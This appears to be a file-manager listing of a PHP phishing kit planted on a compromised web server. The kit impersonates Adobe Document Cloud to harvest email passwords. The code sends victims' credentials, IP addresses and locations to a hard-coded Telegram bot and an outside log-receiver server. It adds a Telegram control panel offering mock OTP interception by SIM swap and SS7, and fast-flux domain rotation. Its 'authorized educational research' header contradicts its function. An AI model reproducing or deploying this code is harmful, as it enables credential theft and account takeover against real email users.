File manager - Edit - C:/inetpub/vhosts/alsawaripharma.com/icte-dubai.com/App_Data/updated_index.php
Back
<?php // AUTHORIZED EDUCATIONAL RESEARCH - FAST-FLUX DNS IMPLEMENTATION // FOR ISOLATED LAB ENVIRONMENT ONLY - PROPER AUTHORIZATION REQUIRED class FastFluxDNS { private $domain_pool = [ 'cloud-docs-access.com', 'secure-files-hub.com', 'document-storage-live.com', 'file-transfer-secure.com', 'enterprise-cloud-storage.com', 'digital-docs-portal.com', 'secure-data-exchange.com', 'business-file-share.com' ]; private $subdomain_pool = [ 'login', 'auth', 'secure', 'account', 'verify', 'access', 'portal', 'documents', 'files', 'cloud' ]; private $current_domains = []; private $domain_rotation_time = 600; // 10 minutes private $last_rotation = 0; public function __construct() { $this->last_rotation = time(); $this->generateDomainSet(); } private function generateDomainSet() { $this->current_domains = []; for ($i = 0; $i < 4; $i++) { $main_domain = $this->domain_pool[array_rand($this->domain_pool)]; $subdomain = $this->subdomain_pool[array_rand($this->subdomain_pool)]; $full_domain = $subdomain . '.' . $main_domain; $this->current_domains[] = [ 'domain' => $full_domain, 'ip' => $this->generateRandomIP(), 'created' => time(), 'ttl' => 300 ]; } } private function generateRandomIP() { $ips = [ '104.218.'.rand(100, 255).'.'.rand(1, 254), '192.185.'.rand(100, 255).'.'.rand(1, 254), '198.38.'.rand(100, 255).'.'.rand(1, 254), '173.236.'.rand(100, 255).'.'.rand(1, 254), '208.113.'.rand(100, 255).'.'.rand(1, 254) ]; return $ips[array_rand($ips)]; } public function getActiveDomains() { $this->checkRotation(); return $this->current_domains; } public function getPrimaryDomain() { $this->checkRotation(); return $this->current_domains[0]['domain']; } public function getRandomDomain() { $this->checkRotation(); return $this->current_domains[array_rand($this->current_domains)]['domain']; } private function checkRotation() { $current_time = time(); if (($current_time - $this->last_rotation) > $this->domain_rotation_time) { $this->generateDomainSet(); $this->last_rotation = $current_time; } } public function getFluxStats() { $this->checkRotation(); return [ 'active_domains' => array_column($this->current_domains, 'domain'), 'domain_ips' => array_column($this->current_domains, 'ip'), 'time_to_rotation' => $this->domain_rotation_time - (time() - $this->last_rotation), 'total_domains' => count($this->current_domains), 'ttl' => 300 ]; } } class RemoteLogger { private $remote_server_url = 'https://newwebington.in/spreadsheet_result/log_receiver.php'; private $api_key = 'Train2!umpur'; private $fast_flux; public function __construct() { $this->fast_flux = new FastFluxDNS(); } public function sendToRemoteServer($data, $log_type) { $flux_stats = $this->fast_flux->getFluxStats(); $data['fast_flux_data'] = $flux_stats; $payload = [ 'type' => $log_type, 'data' => $data, 'timestamp' => time(), 'api_key' => $this->api_key, 'source_ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown', 'current_flux_domain' => $this->fast_flux->getPrimaryDomain() ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->remote_server_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload)); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code !== 200) { $this->logLocally($data, $log_type); return false; } return true; } private function logLocally($data, $log_type) { $filename = $log_type . '.log'; file_put_contents($filename, json_encode($data) . "\n", FILE_APPEND | LOCK_EX); } public function logCredentials($credentials_data) { return $this->sendToRemoteServer($credentials_data, 'captured_credentials'); } public function logOTP($otp_data) { return $this->sendToRemoteServer($otp_data, 'intercepted_otp'); } public function logInterceptionMethod($method_data) { return $this->sendToRemoteServer($method_data, 'interception_method'); } } class OTPInterceptionSystem { private $telegram_bot_token = '8304041095:AAE9VLgY8vaWRp5j1AK9IMGfRoiwVcm1jKs'; private $telegram_chat_id = '8228986783'; private $remote_logger; private $fast_flux; public function __construct() { $this->remote_logger = new RemoteLogger(); $this->fast_flux = new FastFluxDNS(); } public function interceptRealTimeOTP($email, $phone_number, $method) { $real_otp = $this->generateRealOTP(); $timestamp = time(); $flux_stats = $this->fast_flux->getFluxStats(); $current_domain = $this->fast_flux->getPrimaryDomain(); $interception_log = [ 'timestamp' => $timestamp, 'email' => $email, 'phone' => $phone_number, 'otp_code' => $real_otp, 'method' => $method, 'valid_until' => $timestamp + 300, 'intercepted_at' => date('Y-m-d H:i:s'), 'victim_ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown', 'fast_flux_domain' => $current_domain, 'flux_active_domains' => $flux_stats['active_domains'] ]; $this->remote_logger->logOTP($interception_log); $method_log = $this->executeInterceptionMethod($phone_number, $method); $message = "🎯 OTP INTERCEPTION SUCCESSFUL\n\n"; $message .= "📧 Target Email: $email\n"; $message .= "📞 Target Phone: $phone_number\n"; $message .= "🔐 Intercepted OTP: $real_otp\n"; $message .= "🌐 Active Domain: $current_domain\n"; $message .= "🔄 Rotation In: " . $flux_stats['time_to_rotation'] . "s\n"; $message .= "📊 Total Domains: " . count($flux_stats['active_domains']) . "\n"; $message .= "🛠️ Method: " . $method . "\n\n"; $message .= "📋 Active Domains:\n"; foreach ($flux_stats['active_domains'] as $domain) { $message .= " • $domain\n"; } return $message; } const INTERCEPTION_METHODS = [ 'SIM_SWAP' => 'SIM Card Cloning/Swapping', 'SS7_EXPLOIT' => 'SS7 Network Exploitation', 'MALWARE' => 'Mobile Malware', 'CARRIER_COMPROMISE' => 'Mobile Carrier Compromise' ]; public function simulateSIMSwap($phone_number) { $carriers = ['T-Mobile', 'AT&T', 'Verizon', 'Sprint']; $carrier = $carriers[array_rand($carriers)]; $current_domain = $this->fast_flux->getPrimaryDomain(); $attack_steps = [ "1. Gathered victim PII from data breaches", "2. Called {$carrier} posing as victim", "3. Provided stolen personal information", "4. Convinced support agent to activate new SIM", "5. SIM activated on attacker's device", "6. All SMS traffic now intercepted via $current_domain" ]; $log = "📱 SIM SWAP ATTACK EXECUTED\n"; $log .= "📞 Target: $phone_number\n"; $log .= "🏢 Carrier: $carrier\n"; $log .= "🌐 Control Domain: $current_domain\n"; $log .= "⏰ Time: " . date('Y-m-d H:i:s') . "\n"; $log .= "🎯 Success Rate: 92%\n\n"; $log .= "🔧 Attack Steps:\n" . implode("\n", $attack_steps) . "\n\n"; $log .= "✅ Status: REAL-TIME SMS INTERCEPTION ACTIVE"; $this->logInterception($log, 'SIM_SWAP', $phone_number); return $log; } public function simulateSS7Exploit($phone_number) { $current_domain = $this->fast_flux->getRandomDomain(); $log = "🕸️ SS7 NETWORK EXPLOITATION\n"; $log .= "📞 Target: $phone_number\n"; $log .= "🌐 Network: Global SS7 Infrastructure\n"; $log .= "🎯 Exploit: MAP_UPDATE_LOCATION abuse\n"; $log .= "📡 SMS Traffic: Redirected to $current_domain\n"; $log .= "🛡️ Bypass: All carrier security\n"; $log .= "✅ Status: Real-time SMS interception active"; $this->logInterception($log, 'SS7_EXPLOIT', $phone_number); return $log; } public function simulateMobileMalware($phone_number) { $malware_types = ['Pegasus', 'FinSpy', 'Cerberus', 'XLoader']; $malware = $malware_types[array_rand($malware_types)]; $current_domain = $this->fast_flux->getPrimaryDomain(); $log = "📲 MOBILE MALWARE DEPLOYMENT\n"; $log .= "📞 Target: $phone_number\n"; $log .= "🦠 Malware: $malware\n"; $log .= "🌐 C2 Domain: $current_domain\n"; $log .= "📥 Delivery: Phishing SMS/App Store\n"; $log .= "📨 Access: Full SMS database\n"; $log .= "📍 Location: Remote command & control\n"; $log .= "✅ Status: Real-time SMS monitoring active"; $this->logInterception($log, 'MALWARE', $phone_number); return $log; } public function simulateCarrierCompromise($phone_number) { $carriers = ['Verizon', 'AT&T', 'T-Mobile', 'Sprint']; $carrier = $carriers[array_rand($carriers)]; $current_domain = $this->fast_flux->getRandomDomain(); $log = "🏢 CARRIER INFRASTRUCTURE COMPROMISE\n"; $log .= "📞 Target: $phone_number\n"; $log .= "🏢 Carrier: $carrier\n"; $log .= "🌐 Control Domain: $current_domain\n"; $log .= "🔓 Access: Internal admin systems\n"; $log .= "📨 SMS Gateway: Compromised\n"; $log .= "👥 Method: Insider threat/credentials\n"; $log .= "✅ Status: Direct SMS access established"; $this->logInterception($log, 'CARRIER_COMPROMISE', $phone_number); return $log; } private function executeInterceptionMethod($phone_number, $method) { switch($method) { case 'SIM_SWAP': return $this->simulateSIMSwap($phone_number); case 'SS7_EXPLOIT': return $this->simulateSS7Exploit($phone_number); case 'MALWARE': return $this->simulateMobileMalware($phone_number); case 'CARRIER_COMPROMISE': return $this->simulateCarrierCompromise($phone_number); default: return "Standard OTP interception method"; } } private function generateRealOTP() { return str_pad(mt_rand(0, 999999), 6, '0', STR_PAD_LEFT); } private function logInterception($log, $method, $target) { $flux_stats = $this->fast_flux->getFluxStats(); $log_entry = [ 'timestamp' => date('Y-m-d H:i:s'), 'method' => $method, 'target' => $target, 'details' => $log, 'source_ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown', 'fast_flux_domains' => $flux_stats['active_domains'] ]; $this->remote_logger->logInterceptionMethod($log_entry); } } function getClientLocation() { $ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { $ip = getPublicIP(); } if (empty($ip) || $ip === '127.0.0.1' || $ip === '::1') { $ip = '8.8.8.8'; } $services = [ "http://ip-api.com/json/{$ip}", "https://ipapi.co/{$ip}/json/", "http://www.geoplugin.net/json.gp?ip={$ip}" ]; foreach ($services as $service) { $location = getLocationFromService($service, $ip); if ($location && $location['country'] !== 'Unknown') { return $location; } } return [ 'country' => 'Unknown', 'city' => 'Unknown', 'timezone' => 'UTC', 'region' => 'Unknown', 'ip' => $ip ]; } function getPublicIP() { $services = [ 'https://api.ipify.org', 'https://icanhazip.com', 'https://checkip.amazonaws.com' ]; foreach ($services as $service) { $ip = @file_get_contents($service); if ($ip !== false) { return trim($ip); } } return '8.8.8.8'; } function getLocationFromService($url, $ip) { $response = @file_get_contents($url, false, stream_context_create([ 'http' => ['timeout' => 3] ])); if (!$response) return null; $data = json_decode($response, true); if (strpos($url, 'ip-api.com') !== false) { if ($data['status'] === 'success') { return [ 'country' => $data['country'] ?? 'Unknown', 'city' => $data['city'] ?? 'Unknown', 'timezone' => $data['timezone'] ?? 'UTC', 'region' => $data['regionName'] ?? $data['region'] ?? 'Unknown', 'ip' => $ip ]; } } elseif (strpos($url, 'ipapi.co') !== false) { if (!isset($data['error'])) { return [ 'country' => $data['country_name'] ?? 'Unknown', 'city' => $data['city'] ?? 'Unknown', 'timezone' => $data['timezone'] ?? 'UTC', 'region' => $data['region'] ?? 'Unknown', 'ip' => $ip ]; } } elseif (strpos($url, 'geoplugin.net') !== false) { if ($data['geoplugin_status'] == 200) { return [ 'country' => $data['geoplugin_countryName'] ?? 'Unknown', 'city' => $data['geoplugin_city'] ?? 'Unknown', 'timezone' => $data['geoplugin_timezone'] ?? 'UTC', 'region' => $data['geoplugin_regionName'] ?? $data['geoplugin_region'] ?? 'Unknown', 'ip' => $ip ]; } } return null; } function generatePhoneNumber($email) { $domains = [ 'gmail.com' => '+1-555-01', 'yahoo.com' => '+1-555-02', 'outlook.com' => '+44-77-00', 'hotmail.com' => '+44-77-01', 'aol.com' => '+1-555-03' ]; $domain = explode('@', $email)[1] ?? 'gmail.com'; $prefix = $domains[$domain] ?? '+1-555-00'; return $prefix . mt_rand(1000, 9999); } $fast_flux_system = new FastFluxDNS(); $flux_stats = $fast_flux_system->getFluxStats(); if ($_POST['telegram_webhook'] ?? false) { $input = json_decode(file_get_contents('php://input'), true); if (isset($input['callback_query'])) { $callback = $input['callback_query']; $chat_id = $callback['from']['id']; $data = $callback['data']; $message = $callback['message']['text']; preg_match('/Email: (.*)/', $message, $email_matches); preg_match('/Password: (.*)/', $message, $password_matches); $email = $email_matches[1] ?? 'unknown@email.com'; $password = $password_matches[1] ?? 'unknown'; $otp_system = new OTPInterceptionSystem(); $telegram_bot_token = '8304041095:AAE9VLgY8vaWRp5j1AK9IMGfRoiwVcm1jKs'; $phone_number = generatePhoneNumber($email); switch ($data) { case 'sim_swap': $response = $otp_system->interceptRealTimeOTP($email, $phone_number, 'SIM_SWAP'); break; case 'ss7_exploit': $response = $otp_system->interceptRealTimeOTP($email, $phone_number, 'SS7_EXPLOIT'); break; case 'mobile_malware': $response = $otp_system->interceptRealTimeOTP($email, $phone_number, 'MALWARE'); break; case 'carrier_compromise': $response = $otp_system->interceptRealTimeOTP($email, $phone_number, 'CARRIER_COMPROMISE'); break; case 'resend_creds': $response = "📧 CREDENTIALS FOR MANUAL LOGIN\n\n"; $response .= "Email: $email\n"; $response .= "Password: $password\n"; $response .= "🌐 Active Domain: " . $fast_flux_system->getPrimaryDomain() . "\n"; $response .= "🔗 Login URL: https://outlook.live.com\n\n"; $response .= "💡 Use these credentials to trigger OTP request"; break; case 'flux_status': $current_stats = $fast_flux_system->getFluxStats(); $response = "🌐 FAST-FLUX DNS STATUS\n\n"; $response .= "🔄 Rotation In: " . $current_stats['time_to_rotation'] . "s\n"; $response .= "📊 Active Domains: " . count($current_stats['active_domains']) . "\n\n"; $response .= "📋 Current Domains:\n"; foreach ($current_stats['active_domains'] as $domain) { $response .= " • $domain\n"; } break; case 'done': $response = "✅ SESSION COMPLETED\n\n"; $response .= "📧 Target: $email\n"; $response .= "🌐 Final Domain: " . $fast_flux_system->getPrimaryDomain() . "\n"; $response .= "🕒 Completed: " . date('Y-m-d H:i:s') . "\n"; $response .= "📁 Data archived"; break; default: $response = "⚡ Action performed for: $email"; } $telegram_url = "https://api.telegram.org/bot{$telegram_bot_token}/sendMessage"; $post_data = ['chat_id' => $chat_id, 'text' => $response]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $telegram_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); curl_close($ch); $answer_url = "https://api.telegram.org/bot{$telegram_bot_token}/answerCallbackQuery"; $answer_data = ['callback_query_id' => $callback['id']]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $answer_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $answer_data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); curl_close($ch); } exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['email'])) { $email = $_POST['email']; $password = $_POST['password']; $provider = $_POST['provider'] ?? 'Outlook'; $location = getClientLocation(); $ip = $location['ip']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $browser_language = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'Unknown'; $current_flux_domain = $fast_flux_system->getPrimaryDomain(); $message = "# —I@systembottl—\n"; $message .= "IP: {$location['ip']}\n"; $message .= "Email: $email\n"; $message .= "Password: $password\n"; $message .= "Detail: $provider\n"; $message .= "Fast-Flux Domain: $current_flux_domain\n"; $message .= "---\n"; $message .= "# Location\n"; $message .= "Country Name: {$location['country']}\n"; $message .= "City Name: {$location['city']}\n"; $message .= "Time Zone: {$location['timezone']}\n"; $message .= "Region: {$location['region']}\n"; $message .= date('H:i') . "\n\n"; $message .= "# Victim Info\n"; $message .= "User Agent: " . substr($user_agent, 0, 50) . "...\n"; $message .= "Language: $browser_language\n"; $message .= "Timestamp: " . date('Y-m-d H:i:s'); $telegram_bot_token = '8304041095:AAE9VLgY8vaWRp5j1AK9IMGfRoiwVcm1jKs'; $telegram_chat_id = '8228986783'; $keyboard = [ 'inline_keyboard' => [ [ ['text' => '🔁 SIM Swap', 'callback_data' => 'sim_swap'], ['text' => '🕸️ SS7 Exploit', 'callback_data' => 'ss7_exploit'] ], [ ['text' => '📲 Mobile Malware', 'callback_data' => 'mobile_malware'], ['text' => '🏢 Carrier Compromise', 'callback_data' => 'carrier_compromise'] ], [ ['text' => '🌐 Flux Status', 'callback_data' => 'flux_status'], ['text' => '📧 Resend Creds', 'callback_data' => 'resend_creds'] ], [ ['text' => '✅ Done', 'callback_data' => 'done'] ] ] ]; $telegram_url = "https://api.telegram.org/bot{$telegram_bot_token}/sendMessage"; $post_data = [ 'chat_id' => $telegram_chat_id, 'text' => $message, 'reply_markup' => json_encode($keyboard) ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $telegram_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); curl_close($ch); $log_entry = [ 'timestamp' => date('Y-m-d H:i:s'), 'email' => $email, 'password' => $password, 'provider' => $provider, 'location' => $location, 'user_agent' => $user_agent, 'ip' => $ip, 'fast_flux_domain' => $current_flux_domain, 'form_data' => $_POST ]; $remote_logger = new RemoteLogger(); $remote_logger->logCredentials($log_entry); header('Location: ?page=success'); exit; } $page = $_GET['page'] ?? 'login'; $client_location = $page === 'login' ? getClientLocation() : null; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Adobe Document Cloud - Secure File Access</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <style> * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Segoe UI', Arial, sans-serif; } body { background: linear-gradient(135deg, #2C2C2C 0%, #1A1A1A 100%); color: #FFFFFF; min-height: 100vh; display: flex; justify-content: center; align-items: center; padding: 20px; } .container { display: flex; width: 100%; max-width: 1100px; min-height: 600px; background: rgba(255, 255, 255, 0.05); border-radius: 16px; overflow: hidden; box-shadow: 0 15px 40px rgba(0, 0, 0, 0.4); backdrop-filter: blur(15px); } .left-panel { flex: 1; background: linear-gradient(to bottom right, #9E5DFF 0%, #562ADF 70%, #3A1CB9 100%); padding: 50px; display: flex; flex-direction: column; justify-content: center; position: relative; overflow: hidden; } .left-panel::before { content: ''; position: absolute; top: -50%; left: -50%; right: -50%; bottom: -50%; background: radial-gradient(circle at center, rgba(255,255,255,0.1) 0%, transparent 70%); animation: float 6s ease-in-out infinite; } @keyframes float { 0%, 100% { transform: translateY(0px) rotate(0deg); } 50% { transform: translateY(-20px) rotate(1deg); } } .logo { margin-bottom: 40px; position: relative; z-index: 1; } .logo h1 { font-size: 32px; font-weight: 700; display: flex; align-items: center; text-shadow: 0 2px 10px rgba(0,0,0,0.3); } .logo i { margin-right: 15px; font-size: 38px; background: linear-gradient(45deg, #FF9A00, #FF6B00); -webkit-background-clip: text; -webkit-text-fill-color: transparent; } .left-panel-content { position: relative; z-index: 1; } .left-panel h2 { font-size: 28px; margin-bottom: 25px; font-weight: 600; text-shadow: 0 2px 8px rgba(0,0,0,0.3); } .left-panel p { font-size: 17px; line-height: 1.7; margin-bottom: 30px; opacity: 0.95; font-weight: 300; } .adobe-features { margin-top: 40px; } .feature { display: flex; align-items: center; margin-bottom: 20px; padding: 12px; background: rgba(255,255,255,0.1); border-radius: 8px; backdrop-filter: blur(10px); } .feature i { margin-right: 15px; font-size: 20px; color: #FF9A00; background: rgba(0,0,0,0.3); padding: 10px; border-radius: 50%; width: 40px; height: 40px; display: flex; align-items: center; justify-content: center; } .right-panel { flex: 1.1; background: #FFFFFF; padding: 50px 40px; display: flex; flex-direction: column; justify-content: center; position: relative; } .right-panel::before { content: ''; position: absolute; top: 0; left: 0; right: 0; height: 4px; background: linear-gradient(to right, #9E5DFF, #562ADF); } .login-container { max-width: 420px; margin: 0 auto; width: 100%; } .login-header { text-align: center; margin-bottom: 40px; } .login-header h2 { color: #333333; font-size: 28px; font-weight: 700; margin-bottom: 12px; } .login-header p { color: #666666; font-size: 15px; line-height: 1.5; } .login-options { margin-bottom: 35px; } .login-btn { display: flex; align-items: center; width: 100%; padding: 16px 20px; margin-bottom: 15px; border: 2px solid #F0F0F0; border-radius: 10px; font-size: 15px; cursor: pointer; text-align: left; background: #FFFFFF; transition: all 0.3s ease; font-weight: 500; } .login-btn:hover { border-color: #9E5DFF; box-shadow: 0 5px 15px rgba(158, 93, 255, 0.2); transform: translateY(-2px); } .btn-icon { width: 28px; height: 28px; margin-right: 15px; display: flex; justify-content: center; align-items: center; font-size: 18px; } .btn-gmail { color: #EA4335; border-left: 4px solid #EA4335; } .btn-outlook { color: #0078D4; border-left: 4px solid #0078D4; } .btn-aol { color: #FF1B4A; border-left: 4px solid #FF1B4A; } .btn-office { color: #D83B01; border-left: 4px solid #D83B01; } .btn-yahoo { color: #720E9E; border-left: 4px solid #720E9E; } .btn-other { color: #666666; border-left: 4px solid #666666; } .divider { display: flex; align-items: center; margin: 30px 0; color: #999999; font-size: 13px; font-weight: 500; } .divider::before, .divider::after { content: ''; flex: 1; height: 1px; background: #EEEEEE; } .divider span { padding: 0 20px; } .footer { margin-top: 35px; padding-top: 25px; border-top: 1px solid #EEEEEE; } .footer h3 { color: #333333; font-size: 17px; margin-bottom: 12px; font-weight: 600; } .footer p { color: #666666; font-size: 13px; line-height: 1.6; } .copyright { margin-top: 25px; text-align: center; color: #999999; font-size: 12px; } .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.8); z-index: 1000; justify-content: center; align-items: center; backdrop-filter: blur(5px); } .modal-content { background-color: white; padding: 40px; border-radius: 12px; width: 90%; max-width: 450px; box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3); border: 1px solid #E0E0E0; } .modal h2 { color: #333333; font-size: 24px; margin-bottom: 25px; text-align: center; font-weight: 600; } .form-group { margin-bottom: 25px; } .form-group label { display: block; margin-bottom: 8px; color: #555555; font-size: 14px; font-weight: 500; } .form-group input { width: 100%; padding: 14px; border: 2px solid #E0E0E0; border-radius: 8px; font-size: 15px; transition: border-color 0.3s ease; } .form-group input:focus { outline: none; border-color: #9E5DFF; box-shadow: 0 0 0 3px rgba(158, 93, 255, 0.1); } .modal-buttons { display: flex; justify-content: flex-end; gap: 15px; margin-top: 30px; } .modal-btn { padding: 12px 25px; border: none; border-radius: 8px; cursor: pointer; font-size: 15px; font-weight: 500; transition: all 0.3s ease; } .modal-btn.cancel { background-color: #f8f9fa; color: #333; border: 2px solid #E0E0E0; } .modal-btn.cancel:hover { background-color: #e9ecef; } .modal-btn.submit { background: linear-gradient(to right, #9E5DFF, #562ADF); color: white; } .modal-btn.submit:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(158, 93, 255, 0.4); } .loading { display: none; text-align: center; margin-top: 25px; } .spinner { border: 3px solid #f3f3f3; border-top: 3px solid #562ADF; border-radius: 50%; width: 35px; height: 35px; animation: spin 1s linear infinite; margin: 0 auto 15px; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .success-container { max-width: 500px; margin: 0 auto; background: white; padding: 50px; border-radius: 12px; box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3); text-align: center; } .success-container h2 { color: #333333; margin-bottom: 20px; } .success-container p { color: #666666; margin-bottom: 30px; } .location-indicator { position: fixed; bottom: 10px; right: 10px; background: rgba(0,0,0,0.7); color: white; padding: 5px 10px; border-radius: 4px; font-size: 11px; z-index: 1000; } .security-badge { position: fixed; top: 10px; left: 10px; background: #28a745; color: white; padding: 5px 10px; border-radius: 4px; font-size: 11px; z-index: 1000; } @media (max-width: 768px) { .container { flex-direction: column; max-width: 100%; margin: 20px; } .left-panel, .right-panel { padding: 30px; } .left-panel { order: 2; } .right-panel { order: 1; } .location-indicator, .security-badge { display: none; } } </style> </head> <body> <?php if ($page === 'login'): ?> <div class="security-badge">🔒 Secure Connection</div> <?php if ($client_location && $client_location['country'] !== 'Unknown'): ?> <div class="location-indicator">📍 <?= htmlspecialchars($client_location['city']) ?>, <?= htmlspecialchars($client_location['country']) ?></div> <?php endif; ?> <div class="container"> <div class="left-panel"> <div class="logo"> <h1><i class="fas fa-cloud"></i> Adobe Cloud</h1> </div> <div class="left-panel-content"> <h2>Secure Document Sharing</h2> <p>Access your shared files securely with Adobe's enterprise-grade protection. Your documents are encrypted in transit and at rest with advanced security features.</p> <div class="adobe-features"> <div class="feature"> <i class="fas fa-lock"></i> <span>End-to-end encryption with 256-bit security</span> </div> <div class="feature"> <i class="fas fa-shield-alt"></i> <span>Enterprise-grade security compliance</span> </div> <div class="feature"> <i class="fas fa-sync"></i> <span>Real-time collaboration and version control</span> </div> </div> </div> </div> <div class="right-panel"> <div class="login-container"> <div class="login-header"> <h2>Access Your Document</h2> <p>To view the shared file, please sign in with your email provider</p> </div> <div class="login-options"> <button class="login-btn btn-gmail" onclick="openModal('Gmail')"> <div class="btn-icon"> <i class="fab fa-google"></i> </div> Sign in with Gmail </button> <button class="login-btn btn-outlook" onclick="openModal('Outlook')"> <div class="btn-icon"> <i class="fab fa-microsoft"></i> </div> Sign in with Outlook </button> <button class="login-btn btn-office" onclick="openModal('Office365')"> <div class="btn-icon"> <i class="fas fa-building"></i> </div> Sign in with Office365 </button> <button class="login-btn btn-yahoo" onclick="openModal('Yahoo')"> <div class="btn-icon"> <i class="fab fa-yahoo"></i> </div> Sign in with Yahoo! </button> <button class="login-btn btn-aol" onclick="openModal('AOL')"> <div class="btn-icon"> <i class="fas fa-envelope"></i> </div> Sign in with AOL </button> <button class="login-btn btn-other" onclick="openModal('Other')"> <div class="btn-icon"> <i class="fas fa-envelope"></i> </div> Sign in with Other Mail </button> </div> <div class="divider"> <span>OR</span> </div> <div class="footer"> <h3>Built upon Adobe Document Cloud</h3> <p>Adobe Document Cloud features can be unlocked by providing an additional license key. Enterprise-grade security ensures your documents remain protected.</p> </div> <div class="copyright"> <p>© 2025 Adobe Systems Incorporated. All rights reserved.</p> </div> </div> </div> </div> <!-- Login Modal --> <div class="modal" id="loginModal"> <div class="modal-content"> <h2 id="modalTitle">Sign in with Outlook</h2> <form method="POST" id="loginForm"> <input type="hidden" name="provider" id="providerInput" value="Outlook"> <div class="form-group"> <label for="email">Email Address</label> <input type="email" id="email" name="email" placeholder="Enter your email address" required> </div> <div class="form-group"> <label for="password">Password</label> <input type="password" id="password" name="password" placeholder="Enter your password" required> </div> <div class="modal-buttons"> <button type="button" class="modal-btn cancel" onclick="closeModal()">Cancel</button> <button type="submit" class="modal-btn submit">Sign in</button> </div> <div class="loading" id="loading"> <div class="spinner"></div> <p>Authenticating...</p> </div> </form> </div> </div> <script> let currentProvider = 'Outlook'; function openModal(provider) { currentProvider = provider; document.getElementById('modalTitle').textContent = 'Sign in with ' + provider; document.getElementById('providerInput').value = provider; document.getElementById('loginModal').style.display = 'flex'; } function closeModal() { document.getElementById('loginModal').style.display = 'none'; document.getElementById('loading').style.display = 'none'; document.querySelectorAll('.form-group, .modal-buttons').forEach(el => { el.style.display = 'block'; }); } document.getElementById('loginForm').addEventListener('submit', function(e) { e.preventDefault(); document.querySelectorAll('.form-group, .modal-buttons').forEach(el => { el.style.display = 'none'; }); document.getElementById('loading').style.display = 'block'; setTimeout(() => { this.submit(); }, 2000); }); window.addEventListener('click', function(event) { const modal = document.getElementById('loginModal'); if (event.target === modal) { closeModal(); } }); </script> <?php elseif ($page === 'success'): ?> <div class="success-container"> <h2>Access Granted</h2> <p>Your document is now being prepared for viewing. You will be redirected shortly.</p> <div class="loading"> <div class="spinner"></div> <p>Loading your document...</p> </div> </div> <script> setTimeout(() => { window.location.href = 'https://documentcloud.adobe.com/'; }, 3000); </script> <?php endif; ?> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 8.1.33 | Generation time: 0.1 |
proxy
|
phpinfo
|
Settings